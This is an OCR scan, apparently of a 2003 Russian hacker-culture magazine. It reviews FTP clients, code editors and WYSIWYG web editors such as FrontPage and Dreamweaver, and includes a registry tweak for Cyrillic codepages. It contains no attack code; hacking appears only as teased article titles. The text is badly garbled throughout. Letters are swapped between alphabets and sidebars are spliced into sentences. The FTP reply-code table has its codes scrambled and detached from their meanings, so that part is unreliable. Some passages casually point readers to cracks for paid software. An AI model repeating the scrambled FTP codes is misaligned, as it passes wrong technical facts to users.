чи файлов - ascii или binary в 
зависимости от типа файлов и 
от настроенного списка их рас- 
ширений. Все команды и опера- 
ции программы могут протоко- 
лироваться в заданном тобой 
лог файле. 


Вот так тебе может ответить FTP сервер: 


Требуется действие для файла, 
ожидается дальнейшая информация 
Сервис не доступен. Соединение закрыто. 
Не возможно начать передачу данных 
Соединение закрыто. Трансфер файлов 


Не получено нужное действие для файла 
Требуемое действие прервано. 
Локальная ошибка в обработке 

Не получено требуемого действия. 
Недостаточно места в системе. 
Недоступный файл 

Ошибка синтаксиса 

Ошибка синтаксиса в параметрах или 


Команда неосуществима 
Плохая последовательность команд 
Команда неосуществима для данного 


Не зарегистрирован 

Нужен аккаунт для хранения файлов 
Файл недоступен (например, файл не 
найден, нет доступа) 

Требуемое действие прервано. 
Неизвестный тип страницы 
Превышен лимит для директории 


Код Описание Код Описание 
120 Готов обслуживать через nnn минут 350 
125 Связь установлена, начало передачи 
150 Устанавливается связь 421 
200 OK 425 
202 Команда не осуществима Ha данном сайте 426 
21 Статус системы прерван 
212 Статус каталога 450 
213 Статус файла 451 
214 Помощь. Этот ответ полезен только для 
человека 452 
215 ИМЯ типа системы. Где ИМЯ - 
официальное название системы от 
списка в Assigned Numbers document. 500 
220 Готовность обслуживать нового 501 
пользователя аргументах 
221 Сервис закрывает соединение 502 
225 Соединение открыто. Никакого трафика. 503 
226 Соединение закрыто. Требуется действие 504 
для работы с файлами параметра 
227 Вход в пассивный режим (hi, h2, h3, h4, 530 
pl, p2) 532 
230 Пользователь подсоединен 550 
250 Готово 
257 "PATHNAME" создано 551 
331 Логин подходит, требуется пароль 
332 Нужен аккаутн для входа 552 


Итог: Хорошая программа. 
Если ты только начинающий веб- 
мастер, то она как раз для тебя. 


FlashFXP v 2.0 (6906) 
Размер: 2114 Кб 
Качать: http://www.flashfxp.ws/ 
zip/FlashFXP_2_Setup.exe 

Этот клиент знаменит тем, что 
несмотря на собственную моло- 
дость умудрился сильно поте- 
снить КутФТП на винтах продви- 
нутых юзеров. 

Основные отличия новой вер- 
сии: 

- добавлена поддержка 
SSL/TLS; 
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- расширена функциональ- 
ность (добавлены новые опции, 
добавлена поддержка 4- и 5-кно- 
почных мышей, добавлены новые 
управляющие элементы инстру- 
ментальной панели и прочее); 

- добавлена возможность за- 
щиты паролем FlashFXP от досту- 
па к программе других лиц; 

- расширен набор команд для 
командной строки; 

- реализована стопроцентная 
совместимость с Windows ХР; 

- исправлены ошибки. 

Если необходимо сразу на- 
чать заливать файло, то жми Е 8, 
появится окошко Quick Connect, 
в котором необходимо ввести 
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все данные. После этого жми 
Connect и можешь прямо мышой 
перетаскивать нужные файлы к 
себе на сервак. Программа обла- 
дает всеми возможностями, ко- 
торые могут потребоваться тебе 
при работе с ЕТР, перечисление 
которых заняло бы слишком 
много места, да и утомило это 
бы тебя. Расскажу только о не- 
которых. Есть планировщик за- 
дач, который может автоматиче- 
ски запустить трансфер файлов, 
а по окончании оного разорвать 
соединение, выключить комп, 
выйти из программы, завершить 
сеанс пользователя либо неко- 
торое в совокупности. Есть воз- 
можность следить за буфером 
обмена, и если выставлена га- 
лочка, то автоматически зали- 
вать файло на сервак. Есть еще 
много приятных мелочей, кото- 
рые выползают там, где их не 
ждешь (нет, не баги :)). 


Итог: Мой выбор. Однозначно 
следует попробовать! 


Теперь, думаю, ты без проблем 
определишься, что ты хочешь 
поставить себе в качестве ЕТР 
клиента. 


05(30) 2003 


Ce 
BL | 


ISELAL-938 


Любой FTP || 

сервер всегда 
требует 
авторизации 
пользователя. 
Практически 
каждый FTP 
сервер предо- 
ставляет так 
называемый 
анонимный 
вход 


ВЕБ-ТУЛЗЫ 


РУЧНОЙ КОДИНГ 
С УДОБСТВАМИ 


РЕДАКТОРЫ КОДА 


GLAZp»b (glazy@mail.ru) + Леха 
ББ aka А!еху$ (alex-sun@mtu.ru). 


Этот обзор не 
является кри- 
тикой или 
чем-либо еще 
по отношению 
к программам. 
Здесь я просто 
рассказываю о 
фичах и мину- 
сах этих про- 
граммок. По- 
чему именно 
они? Потому 
что ими поль- 
зуются мои 
друзья и я сам 


Когда ты хочешь увидеть внутренности В{т!-страницы, то после нажатия кнопки 
"Просмотр в виде HTML” вылезет стандартный виндовый блокнот (aka Notepad), 
который все выдаст очень аккуратно, но однообразно. Увидишь ты код, который 


одинаково выглядит на всем протяжении файла - все символы одного размера и одного 
цвета. Размер можно и поменять, сменив курьероподобный шрифт Ha Arial или еще 
чего, но цвет всех слов будет только один. 


огласись, что не 
очень удобно оты- 
скивать нужные ку- 
ски кода, когда текст так предста- 
влен. Было бы реально, если бы 
тэги отличались от обычного тек- 
ста. Если так, то радуйся - не 
один ты такой умный! Уже давно 
появилась куча эдиторов, кото- 
рые помогут скрасить рутинную 
работу кодера. 


HTML-KIT 

Как написано Ha сайте разработ- 
чика, это полнофункциональный 
редактор поможет разработчикам 
HTML, XHTML и XML в их нелег- 
ком деле. На самом деле, он по- 
нимает не только три эти языка 
разметки. Списочек, между про- 
чим, очень даже и увесистый: 
CSS, XSL, JavaScript, VBScript, 
ASP, PHP, JSP, Perl, Python, Ruby, 
Java, VB, C/C++, C#, Delphi, Pas- 
cal, Lisp, SQL и много чего еще. 
Короче, подсветит он тебе основ- 
ные функции этих языков; были 
бы плагины, он бы и мат в рус- 
ском языке выделял. Кстати, та- 
кую фичу можно намутить :). На 
сайте разработчика лежит дока, 
готовые примеры и тулза для 
создания плагинов - Plug-in Gen- 
erator - имеется. 

Вот некоторые примеры полез- 
ных плагинов: 

ExtChars - фишка, позволяющая 
вставлять спецсимволы, то есть 
их теги. 

HkListLinks - позволяет делать 
из списка ссылок выпадающий 
список (коробку) с кнопкой Со. 
Полезная вещь, доложу тебе. 

CmSlugs - вставляет цвета. По- 
лезна тем, что можно пипеткой 
тыкнуть в любую точку экрана. 

На сайте (www.chami.com/html- 
kit) валяется еще до фига полез- 
ных тулз (для удобства работы с 
языками Perl, PHP, CSS, JS), Tak 
что ты точно подберешь себе 
что-нибудь нужное. 
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Наш умный HTML-kit может еще 
спариваться с разными бродилка- 
ми (Осел, Шкаф, Ария). Причем 
делает это он автоматически :). 
Понимает также и ДОСовские 
браузеры. Дружит и со всевоз- 
можными прогами. Например, за- 
хотел ты отредактировать картин- 
ку, нажал Edit, и вылетел твой 
любимый фотожоп. Клево? Да, 
неплохо, хотя и медленно :). 

В НК есть еще такая полезная 
фича, как тэг-визард. Она помо- 
жет тебе получить доступ ко всем 
атрибутам и свойствам тега. До- 
пустим, для тега <img> он позво- 
лит выбрать картинку, сделать 
превью, а если это Gif, то и прои- 
грать ее. 

Имеется в наличии и CSS-pegak- 
тор, плюс тебе еще покажут, в ка- 
ком браузере твои нововведения 
поддерживаются. Вот так. 

Когда ты хочешь повозиться с 
теговыми атрибутами, то тут вы- 
лезает "дерево параметров". Тут 
тебе и имя задать, и всякие при- 
мочечки, и покажут, как это вы- 
глядеть должно и чем поддержи- 
вается... Ну, в общем, все, о чем 
мечтать можно. 

Есть еще много функций работы 
с текстом, а также функции мас- 
совой обработки текста (тебе на- 
gO в конце каждой строчки про- 
ставить <br>? Не вопрос!). 

А теперь внимание! Барабанная 
дробь... Имеются "горячие клави- 
ши"!!! Вау! Да, при таком широ- 
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HTML-kit 


ком наборе функций - это неза- 
менимая вещь. 

Теперь обратимся непосред- 
ственно к окну редактора. Здесь 
четыре страницы. Editor - само 
место, где ты изливаешь свои 
творения. Preview - просмотр в 
браузере, Output - результат pa- 
боты какого-нибудь HTML-tidy, 
дабы не засорять оригинал. Split 
view - предлагает тебе увидеть 
Editor и Output в одном окне, 
чтоб ты мог ощутить разницу :). 

Ну вот про НК все, добавлю 
только, что имеется еще NOG- 
держка заливки файлов на сер- 
вер. Не подумай, что это все 
функции НК, просто это основ- 
ные, которые могут помочь тебе в 
выборе редактора. 


Резюме: О-о-очень реальный ко- 
дитор. Делает абсолютно все! Вот 
только не кодит за тебя, хотя 
есть функции, которые помогают 
это делать максимально быстро и 
комфортно. Короче, must have 
тем, кто любит и может работать 
не в WYSIWYG'ax. 


PHP EXPERT EDITOR 

Редактор, ориентированный под 
РНР (ессесно, не без поддержки 
HTML). Как пишут в мануале, He- 
плох для начинающих и опытных 
программеров. Имеет свой встро- 
енный НТТР-сервачок. Разрешает 
ходить налево (то есть использо- 
вать свои серверы). Скрипты 
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Edit Plus 


можно отдебагивать, проверять 
синтаксис и все такое. Код тебе 
тоже посветят, можно даже вы- 
брать, как: один php, один html 
или и то и другое, скобочку ука- 
жут (правда, иногда он промахи- 
вается, но это мы ему простим). 

У этого зверя есть еще и ЕТР- 
клиент, что не может не радо- 
вать. Это, конечно, еще не повод 
писаться от радости, но уже кое- 
что. Особенно если учесть, что 
это чудо бесплатно для наших. 
Также Editor посчитает и пока- 
жет, какие есть переменные, 
функции, классы и инклуды. Осо- 
бенно удобно, когда ты описался 
в названии переменной и дума- 
ешь: "Че за лажа, я ж все пра- 
вильно написал?”. Вот тут ты и 
можешь увидеть, что переменная 
одна лишняя. Удобная фишка 
для конвертирования htmi-koga в 
РНР. 

Неудобно тут только то, что ма- 
лые возможности быстрой встав- 
ки, хотя эта фича настраивается. 
Но зато можно научиться быстро 
печатать =). 


Резюме: Довольно неплохой, бы- 
стрый редактор. Да что там и го- 
ворить, сам им пользуюсь. Кое- 
где подотрет слюнки, но капи- 
тально вылизывать тебя не бу- 
дет. Инструмент не для совсем 
ленивых и зажравшихся юзеров. 


EDITPLUS 

Еще один редактор типа "я-все- 
могу-один”. Может выступать в 
роли могучего notepad'a, редак- 
тора HTML файлов или редакто- 
ра настоящих языков программи- 
рования, таких как C/C++, Perl, 
РНР, Java, JavaScript, CSS, 
VBScript - это основные; другие, 
как написано, можно доставить. 
Имеется дэцельный браузер для 
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Collie Рег! Shell 


просмотра творений в хтмле. В 
принципе, для удобства npegyc- 
мотрено многое: полезные па- 
нельки, которые можно настраи- 
вать, неограниченное Undo, про- 
верка правописания (если слова- 
рик сольешь с сервера), отобра- 
жение непечатаемых символов и 
все в таком духе. 

В программе есть одна интерес- 
ная фишка: окно клипов. Она по- 
могает вставлять готовые слова 
или фразы (от языков) двойным 
нажатием. То есть надо тебе 
вставить, допустим, какой-нибудь 
тег, а печатать лень. Тыкнул на 
него, и он вставился. Я нигде та- 
кого не встречал, поэтому для 
меня было новым и необычным, 
хотя, наверное, полезная штука. 
Дополнительные такие словари- 
ки клипов можно сделать самому 
(например, с моим любимым рус- 
ским матом :)) или слить с сайта. 

Скачать это добро можно по ag- 
ресу www.editplus.com. 


Резюме: Может служить как и 
штатным НТМЕ-редактором, так и 
для других нужд. Есть превью, 
что не может не радовать. Плюс 
подсветка сделанного. 
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COLLIE PERL SHELL 

Это уже редактор, ориентирован- 
ный только на Perl, или, как еще 
называют, IDE редактор (интегри- 
рованная среда разработки). Есть 
поддержка проектов. Ну, ессесно, 
не без подсветки. Плюс суще- 
ствует настройка таких параме- 
тров, как отступ, выступ текста. 
Удобно... Имеется панелька бы- 
строй вставки HTML кода. На ней 
я обнаружил интересную штуку: 
когда нажимаешь на кнопку 
"вставить линию”, вставляется 
не <HR>, а <BR>. Такой новый тип 
линий =). Кроме HTML'eBckux бы- 
стрых вставок имеется и вставка 
процедур. Правда, тоже скудная, 
но зато процедуры только основ- 
ные и видно их сразу все, не при- 
ходится скролить. 

Наткнулся на интересную вещь: 
библиотека часто используемых 
фрагментов кода. Чтобы не пи- 
сать постоянно: "Здравствуй, Ва- 
ся!", можно сохранить, а потом 
вставлять. Удобно комментиро- 
вать строки. Для этого есть спе- 
циальные клавиши на панели. 
Жаль, что отсутствуют горячие 
клавиши, по которым все это хо- 
зяйство можно вынуть. Радует 
дружба с русской кодировкой. 
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Вот мы и зай- 
мемся подбо- 
ром нужного 
стульчака к 
вашему бачку 


B jdk 1.3 
есть класс 
для работы 
с РОР-сер- 
верами. В 
ASP.NET же 
такого не 
имеется, по 
крайней ме- 
ре в стан- 
дартном па- 
кете... 
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ВЕБ-ТУЛЗЫ 


Aditor - 
старенький, 
маленький да 
удаленький 


Для привязки 
колорера к 
фару понадо- 
бится архива- 
тор WinRar от 
тех же созда- 
телей - Ritlabs 


Это большая проблема у множе- 
ства редакторов подобного типа. 


Резюме: Если тебя радует ре- 
кламный призыв "Поддержи оте- 
чественного производителя”, то 
эта софтина для тебя. Правда, 
поддержка непонятная получает- 
ся - софт фриварный, что само 
по себе стало редким явлением. 
Даже ломать не придется :). 
Пользуйся на здоровье. 


PerlLive 

Еще один редактор, призванный 
помочь в нелегком труде кодерам 
на языке Рег. Тулза легкая, что 
есть гуд, так как выливать нес- 
колько мегов ради подсветки тек- 
ста и небольшого набора функ- 
ций на дымящемся мопеде заня- 
тие не для слабонервных. 

Итак, что мы имеем с гуся? Об- 
радовался я конфигурированию 
горячих клавиш. Можно все за- 
бить. Класс! Также pegaxtypb xo- 
рошо дружит с великим и могу- 
чим. Доступны некоторые шабло- 
ны. 

Это еще одна прога, которая 
имеет базу часто используемых 
кусков текста, или, как называют, 
Template master - мастер шабло- 
нов. Можно запаролить прогу, 
чтобы ею никто кроме тебя не 
воспользовался. Как пишут, мо- 
жет пригодиться. Ну, еще имеет- 
ся встроенный браузер, если это 
можно считать большим плюсом. 


Резюме: Прост в обслуживании, 
не требователен. Идеален для 90- 
ма, для семьи. Чисто любитель- 
ская софтина, которая немного 
скрасит жизнь. 


HANDY HTML STUDIO 

Реальный, но немного заморо- 
ченный редактор кода. Это луч- 
ший вариант gna тех, кто egBa-eg- 
ва знает тэги, но создание стра- 
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ниц в WORD’'e или FrontPage ga- 
же GNA них полный позор. В про- 
грамме заложено полное пра- 
вильное описание всех извест- 
ных (и некоторых не очень) тэгов 
HTML и атрибутов CSS (всякие 
Богаег'ы, гопЁ’ы и многое другое). 
Даже хорошо знающему язык 
разметки страниц этот редактор 
может служить заодно и спра- 
вочной службой - такое количе- 
ство мануала мне только в линук- 
се встречалось. Handy HTML Stu- 
dio обучена работе с HTML, XML, 
CSS, Perl, Java, JS, причем опре- 
genset тип открываемого файла 
безошибочно (во всяком случае, 
пока ни у кого из знакомых про- 
блем не было), поддерживает 
55|-директивы. РНР вроде бы не 
предусмотрен, но все равно go- 
вольно неплохо все выделяет. 
Еще бы, ведь он с HTML неслабо 
пересекается. Важным для коди- 
тора является возможность OG- 
новременно держать открытыми 
несколько файлов и легко и бы- 
стро переключаться между ними. 
Панель инструментов программы 
немного напоминает \\!ога’ов- 
скую, только в отличие от MS- 
софтины не гадит код всякой ла- 
жей (разве что пару строчек в 
начале добавляет). Отдельную 
благодарность создателям выра- 
зят те, кто делает статические 
HTML-ku. Иногда бывает нужным 
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Легко и непринужденно осуществляется за- 

мена фрагментов кода в нескольких файлах 
заменить какой-то одинаковый 
фрагмент кода, встречающийся 
на 10 и больше страницах. Лазить 
и менять все ручками - дело 
очень утомительное. С помощью 
Handy HTML Studio такую замену 
можно совершать довольно лег- 
ко и непринужденно. Причем из 
испробованных 10 различных 
программ эта единственная, кото- 
рая меняет все нормально и при 
этом не вылетает. 

Кроме тулзы для замены Koga в 
разных файлах существует Со- 
lourSpy (шпион цвета). Он возвра- 
щает 16-ричный код цвета, на ко- 
торый ты навел пипетку. Причем 
этот шпион крадет цвет не только 
из окна программы (тем более, 
что их не так много), а с любого 
окна, которое визуально наблю- 
даешь. Окно ColourSpy после его 
вызова будет находиться поверх 
всех остальных окон. Реально по- 
лезная тулза - иной раз мучаешь- 
ся с подбором цвета, а ничего хо- 
рошего не получается. Здесь да- 
же можно выбрать WebSafe - бе- 
зопасные цвета Интернета. Для 
любого веб-мастера просто неза- 
менимая вещица. Интегрируется в 
виндовое меню - при правом кли- 
ке на файл появится опция Edit 
with Handy HTML Studio. 

Очень рекомендую слазить Ha 
http://www.silveragesoftware.com 
(сайт разработчика) и скачать OT- 
туда эту программку. А вот кряк к 
ней придется поискать подольше 
{(. На этом же сайте есть еще па- 
ра программок, которые облегчат 
жизнь веб-мастеру, но эта, на 
мой взгляд, лучшая. 


Резюме: Все в одном, все под ру- 
кой. Выбор реального веб-кодера. 


Aditor Pro 

Старенький, но проверенный Bpe- 
менем редактор. Очень не требо- 
вательный к системе и маленький 
(примерно 750 килобайт). Даже 
на дискете спокойно уместится :). 
Есть вариант включения русско- 
язычного меню (спасение для 
тех, кто английский не знает). 
Предназначен он для тех, кто 
привык писать все ручками, но 
так, чтобы красиво был виден 
код. Нет ни лишних, ни полезных 


Far + Colorer 


заморочек, как в Handy HTML 
Studio. Зато есть небольшая под- 
борка HTML-T3roB и даже готовых 
кусков кода. Работает с 5 коди- 
ровками (KOI8, Win, Dos, Mac, Iso), 
причем можно конвертить исход- 
ники из одной кодировки в gpy- 
гую. Может подсвечивать файлы 
многих типов, таких как HTML, 
PAS, C/C++, Fido-LwHoro мыла, 
ASM’‘a и многих других. Kak и в 
Handy HTML Studio, в Aditor’e 
можно обрабатывать кучу фай- 
лов одновременно для замены 
фрагментов кода. Один знако- 
мый, у которого не доходят руки 
и другие части тела для изучения 
SSI и CGI, долго меня благодарил 
за наводку на эту программу. Adi- 
tor - это не только кодитор, но и 
неплохой текстовый редактор. В 
нем существует возможность 
удалять конечные пробелы, пре- 
вращать табы в пробелы, менять 
регистр символов, вставлять не- 
видимые символы (как в ворде), 
выравнивать текст и т.д. Разве 
что только орфографрия не про- 
веряется, хотя наверняка есть 
способы, как и это устроить. Да- 
же не представляю, как можно 
было засунуть столько полезного 
в такую маленькую программку. 
Aditor можно интегрировать в си- 
стему, добавить пункт меню "От- 
крыть с помощью Aditor”, заста- 
вить его запускаться вместо 
блокнота. 


Резюме: Aditor - это не только ре- 
дактор кода, но и довольно не- 
плохой текстовый редактор, кото- 
рый зачастую может заменить и 
М$-овский Word. А редактор кода 
идет как полезная примочка. 


Far Manager & Colorer4ever! 
Здесь нет ошибки - это действи- 
тельно тот самый FAR. Тот самый 
файловый менеджер. Сам по себе 
он слабо пригоден для редактиро- 
вания кода, но если уж больше не 
в чем, то можно. Для пользовате- 
лей из стран бывшего СССР он 
еще и бесплатный, если они най- 
дут информацию об этом в Исеп- 
se.xUSSR.txt. К нему можно приле- 
пить туеву хучу плагинов, в том 
числе и для редактирования. Ва- 


Менюшка колорера, вызываемая кнопкой Fil 


ляются они на сайте разработчика 
(http://www.rarsoft.com) - все ха- 
лявные. Один из таких плагинов 
называется Colorer4ever (цветник 
навеки :)). Немного неудобно 
устроен этот плагин - он разбит на 
2 части. Незнающего это может 
смутить - скачает он один, переки- 
нет файлы куда надо, а он не ра- 
ботает. А в инструкции все напи- 
сано. И делают ее для того, чтобы 
читали, когда что-то не получает- 
ся, а не для придания большего 
объема продукту :). Скачивать на- 
go 2 архива - colorer4ever.far.rar и 
colorer4ever.lib.rar. После скачива- 
ния надо сделать директорию Со- 
lorer в дире плагинов qapa (по ge- 
фолту это C:\Program Fi- 
les\Far\Plugins\), распаковать Tyga 
содержимое обоих архивов. Потом 
в директории Colorer\bin (C:\Pro- 
gram Files\Far\Plugins\Colorer\bin) 
3anyctTutTb install.exe, а после nepe- 
запустить фар. После этой хитрой 
процедуры все файлы при редак- 
тировании будут симпатично под- 
свечиваться. Поначалу мне это 
напомнило старенькие (еще DOS- 
овские) редакторы Borland Turbo 
Pascal или Borland С++. Только 
@MAP+Colorer заточены не под 
один тип кода, а под довольно 
внушительное количество - на- 
верно, больше, чем все вышеопи- 
санные редакторы вместе взятые. 
Редактируя файлы с включенным 
колорером, надо знать, что его 
можно и под себя настроить. Для 
это надо будет нажать Fl, вы- 
брать "колорер", а дальше интуи- 
ция подскажет, какую кнопку на- 
жать. 


ФИНАЛ 

Выбор того или иного редактора 
для кодинга зависит от твоих зна- 
ний и требований к редактору, а 
также от возможностей твоей си- 
стемы. Так, HandyHTML Studio на- 
верняка будет тормозить на сла- 
бых компах - в ней много таких ве- 
щей, которые едва ли понадобят- 
ся реально шарящему в коде. Та- 
ким людям больше подойдет 
Far+Colorer. Приятного кодинга. 
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Как это бывает Ha самом деле 


— Подробности о нескольких 
нашумевших взломах крупных 


сайтов 


Атака на СРВ$ 


— Что можно сделать с 
мобильником на зло врагу, себе 


на радость 


Перехват ICQ паролей 
— Стряпаем снифер на коленке 


Эффективный поиск сплойтов 


— Как найти то, что не 
предназначено для всеобщего 
пользования 


Взлом Уауа-аплетов 


— Избавляем яву от 
раздражающих ограничений 


Мы в сетях! 


— Разбираем дорогостоящее 
сетевое оборудование и смотрим 
что внутри 


ж 
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www.xakep.ru 


ВЕБ-ТУЛЗЫ 


Надеюсь, ты 
не относишь- 
ся к диноза- 
врам, счи- 
тающим, что 
сайты надо 
писать в 
блокноте. 


Kirion (kirion@winfo.org) 


NOTEPAD MUST DIE 


ВЫБИРАЕМ ВЕБ-РЕДАКТОР 


Я полагаю, что ты уже достаточно подкован, чтобы создать свой креативный, 


интересный, содержательный и полезный портал. Несколько номеров мы забивали 
тебе мозги различными технологиями, учили писать скрипты, настраивать форумы и 
многому другому. Тебе уже каждую ночь снится твой WwWW.megaportal.narod.ru :). 


вот в один прекрас- 
ный день ты запасся 
пивом, сварил тер- 

мос кофе, наделал бутербродов и 
засел за комп, полный решимо- 

сти сделать-таки свой сайт. Толь- 
ко вот можно один вопрос: а в ка- 
кой проге ты будешь его делать? 


OT БЛОКНОТА ДО WYSIWYG 
Надеюсь, ты не относишься к ди- 
нозаврам, считающим, что сайты 
надо писать в блокноте. Время - 
слишком ценная вещь, равно как 
и нервы. Креатив заканчивается 
на разработке дизайна и навига- 
ции, дальше начинается рутина. 
Тебе придется много раз повто- 
рять одни и те же операции, сле- 
дить за правильностью написа- 
ния, копаться в справочнике в по- 
исках назначения тегов или их ат- 
рибутов. Словом - нам нужен хо- 
роший редактор, который бы по- 
зволял автоматизировать рутин- 
ные процедуры. Позволял тебе 
творить, не задумываясь о том, 
что в получившемся коде ты в 
жизни не разберешься :). Еще ве- 
селее будет, когда ты запустишь 
свой проект и тебе придется его 
обновлять и поддерживать. Что 
если изменятся какие-нибудь ссы- 
лки? Или ты решишь подправить 
дизайн? Поверь мне на слово, нет 


Это надо прописать в реестре для правильного отображения русских 
кодировок в Dreamweaver: 


[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Co- 


dePage] 
«1250»=»c_1251.nls» 
«1251»=»c_1251.nIs» 
«1252»=»c_1251.nls» 
«1253»=»c_1251.nls» 
«1254»=»c_1251.nls» 
«1255»=»c_1251.nIs» 
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Многострадальный Frontpage 


обитают проги вроде Homesite, 
которые уже обладают достаточ- 
но продвинутыми средствами для 
написания не только html, но и 
css, javascirpt и тому подобного, 
тут уже обязательно должны 
быть шаблоны, средства быстрого 
просмотра страницы, кое-какие 
средства визуального проектиро- 
вания. Неплохо бы иметь и мене- 
джер сайта с возможностью 3a- 
качки Ha ftp непосредственно из 
проги. Ну а на вершине эволюции 


ничего веселого в том, чтобы 
вручную исправлять линки в паре 
десятков документов :). Итак, нам 
нужен хороший веб-редактор. 
Многие из редакторов недалеко 
ушли от обычного блокнота: под- 
светка синтаксиса да библиотека 
часто используемых тегов. Для 
небольшой правки подойдет. На 
следующей ступени эволюции 
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находятся WYSIWYG-pegaktTopbl. 
Если ты в первый раз слышишь 
это страшное слово, не пугайся :). 
Это расшифровывается всего 
лишь Kak: What You See Is What 
You Get (в переводе с басурман- 
ского: что ты видишь, это то, что 
ты получишь). Такой редактор 
должен содержать полные би- 
блиотеки тегов, многочисленные 


визуальные компоненты, сред- 


ства верстки паги с помощью та- 
блиц, редактор стилей. В идеале, 
используя продукт такого уровня, 
пользователь может вообще не 
знать кода. Но это в идеале, да к 
тому же это вредно, мозги непло- 
хо напрягать время от времени :). 
Многие относятся к WYSIWYG-pe- 
дакторам с известной долей сно- 
бизма: мол, это для ламеров все, 
паги будут много весить, плохо 
отображаться в браузерах. Я же 
рассматриваю веб-редакторы в 
аналогии с программированием. 
Можно писать код в блокноте, а 
затем прогонять его через кон- 
сольный компилятор. Можно ис- 
пользовать средства RAD, вроде 
Дельфей, и САЗЕ-средства, кото- 
рые позволяют с минимальным 
редактированием кода добивать- 
ся прекрасных результатов. Глав- 
ное - чтобы руки были прямые :). 


НУ КУДА МЫ БЕЗ М$ 

Надеюсь, я убедил тебя, что ис- 
пользовать многофункциональ- 
ный WSYIWYG-pegakTop это пра- 
вильное решение? Тогда я расса- 
жу тебе о проге, из-за которой 
многие ненавидят эти продукты :). 
Это великий и ужасный Microsoft 
Frontpage. Кто-то считает, что он 
идеален для начинающих пользо- 
вателей. Действительно, пользо- 


ваться им не сложнее, чем вордом, 
не зря Frontpage входит в постав- 
ку MS ОШсе. Основная ставка бы- 
ла сделана на быстрое создание 
сайта с помощью шаблонов (кста- 
ти, советую их запомнить, будешь 
сразу распознавать лажовые сай- 


много чего не хватает. Единствен- 
ное, что мне действительно нра- 
вится во Frontpage - это окно 
структуры сайта и списка ссылок. 
Сделано наглядно и достаточно 
удобно. Еще неплохо сделана си- 


стема отчетов о характеристиках 


ты :)). Визарды рулят: когда я в 
первый раз увидел мастер сайта 
компании - просто офигел. Назва- 
ние компании, название Npogyk- 
тов, контакты, тематические стра- 
ницы, next, next, next, finish. Noy, 
корпоративный сайт готов :). Осо- 
бо одаренные могут скачать новые 
темы, когда задолбаются видеть 
одинаковые паги по всей сети. 
Если же ты BOpyr не захочешь 
пользоваться мастером и попыта- 
ешься сделать что-то ручками - 
придется тебя разочаровать. Де- 
лать это весьма неудобно. Очень 
не хватает инструментов для раз- 
метки страниц - придется рисовать 
таблицу, менять ее свойства, за- 
полнять содержимым. Не хватает и 
инструментов для вставки тегов. 
Не хватает сохранения шаблонов 
кода, не хватает нормального ре- 
дактора стилей. Словом, очень 


Интерфейс Deamweaver может быть таким. 


сайта и ошибках. Но этого mano, 
чтобы называться профессио- 
нальным продуктом. Станет ли 
Frontpage им когда-нибудь? При- 
мер Ассе5$ показывает, что офис- 
ные продукты можно довести go 
ума, но сколько выпусков Ms Offi- 
се для этого понадобится? 


ПРЯДЕМ МЕЧТУ. НЕДОРОГО 

Ну а теперь перейдем к моему лю- 
бимцу, известному и популярному 
Macromedia Dreamweaver. Если 
помнишь, раньше у Macromedia 
было несколько разных продук- 
тов на одну тему: это Огеатмеа- 
ver - визуальный html-pegakTop, 
Ultradev - визуальное средство 
разработки веб-приложений и 
очень популярный (многие до сих 
пор им пользуются) Homesite (хо- 
тя под маркой Макромедии он 
стал выходить только в пятой, по- 
следней версии). Решение объе- 
динить эти продукты было логич- 
ным. В результате появился Dre- 
amweaver МХ. Чтобы не отпугнуть 
старых пользователей, в МХ было 
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...или таким. Что тебе больше нравится? 
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создано несколько видов интер- 
фрейса: как в Dreamweaver 4, как 
в Homesite или новый интерфейс 
линейки продуктов МХ. На этом 
жажда объединения у Макроме- 
дии не закончилась :). Уже рас- 
пространяется пакет Studio МХ, в 
который входит вся линейка МХ: 
Dreamweaver, Fireworks, Flash, 
Freehand и другие. Прикинь, 
сколько стоит такой пакет. Мечта 
варезника :). Фанатам же Homesi- 
{е (каковых очень много) видимо 
придется сидеть в пятой версии, 
ибо он обновляться не будет. 
Вместо этого Макромедия продви- 
гает Contribute - что-то среднее 
между браузером и простым визу- 
альным веб-редактором. Но вер- 
немся к дриму. У многих людей 
очень быстро пропадает желание 
с ним работать из-за глюков с 
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Hy a Ha Bep- 
шине эволю- 
ции находят- 
ся WSYIWYG- 
редакторы. 
Если ты в 
первый раз 
слышишь это 
страшное 
слово, не пу- 
гайся :). 


Надеюсь, я || 
убедил тебя, 
что исполь- 
зовать мно- 
гофункцио- 
нальный 
WSYIWYG- 
редактор это 
правильное 
решение? 
Тогда я рас- 
сажу тебе о 
проге, из-за 
которой мно- 
гие ненави- 
дят эти про- 
дукты :). 


ВЕБ-ТУЛЗЫ 


Adobe уже 
давно конку- 
рирует с Мас- 
romedia на 


всех фронтах. 


Борьба тут 
идет с пере- 
менным успе- 
хом. 


русскими кодировками. Собствен- 
но, это проблема всей линейки 
МХ. Если у тебя с этим тоже про- 
блемы - загляни во врезку. 

При первом запуске тебе npeg- 
ложат выбрать вариант интер- 
фейса. Выбирай на свой вкус, HO 
я бы посоветовал интерфейс МХ, 
причем даже тем, кто работал со 
старыми версиями. Привыкнуть 
несложно, а МО!-интерфейс все 
же намного удобнее, чем пихора- 
дочное нагромождение окон в 
стиле Dreamweaver 4. Тем более, 
что похожий интерфейс во всей 
линейке МХ, а там тебе выбирать 
никто не даст :). После выбора ин- 
терфейса (который ты всегда смо- 
жешь сменить в опциях) неплохо 
бы пройтись по туториалам, раз- 
берешься с прогой быстрее. Ибо 
вначале немного рябит в глазах 
от различных менюшаек, и только 
потом понимаешь, что половина 
из них дублируют друг друга. Og- 
ну и ту же операцию всегда мож- 
но сделать несколькими способа- 
ми: с помощью панели инструмен- 
тов, с помощью контекстных ме- 
ню, с помощью различных закла- 
док. В крайнем случае, можешь 
ручками набить код. Можно соз- 
давать продвинутые шаблоны, в 
которых менять можно только 
определенные области, а все 
остальное будет залочено. 


Если что-то непонятно - в проге 
есть достаточно подробная хелпа, 
включающая, кстати, справочни- 
ки по тегам, стилям и подобным 
вещам (справочник, между про- 
чим, от O'Reilly, известного изда- 
теля компьютерной литературы). 
Когда созреешь писать сайт, за- 
пускай менеджер сайтов ($Ке>пем 
site). Это очень удобная фишка, 
позволяющая заливать сайт, ме- 
нять его глобальные настройки, 
добавлять и удалять файлы, пап- 
ки, проверять целостность сайта. 
Многие неприятные вещи сильно 
упрощаются. Например, тебе надо 
переименовать одну из папок 
сайта. Переходишь на закладку 
Files, выделяешь нужную папку, 
переименовываешь. Дрим авто- 
матически обновит все ссылки в 
сайте. Правда, удобно? Если же 
ты по глупости сделаешь такую 
операцию вне дрима, то придется 
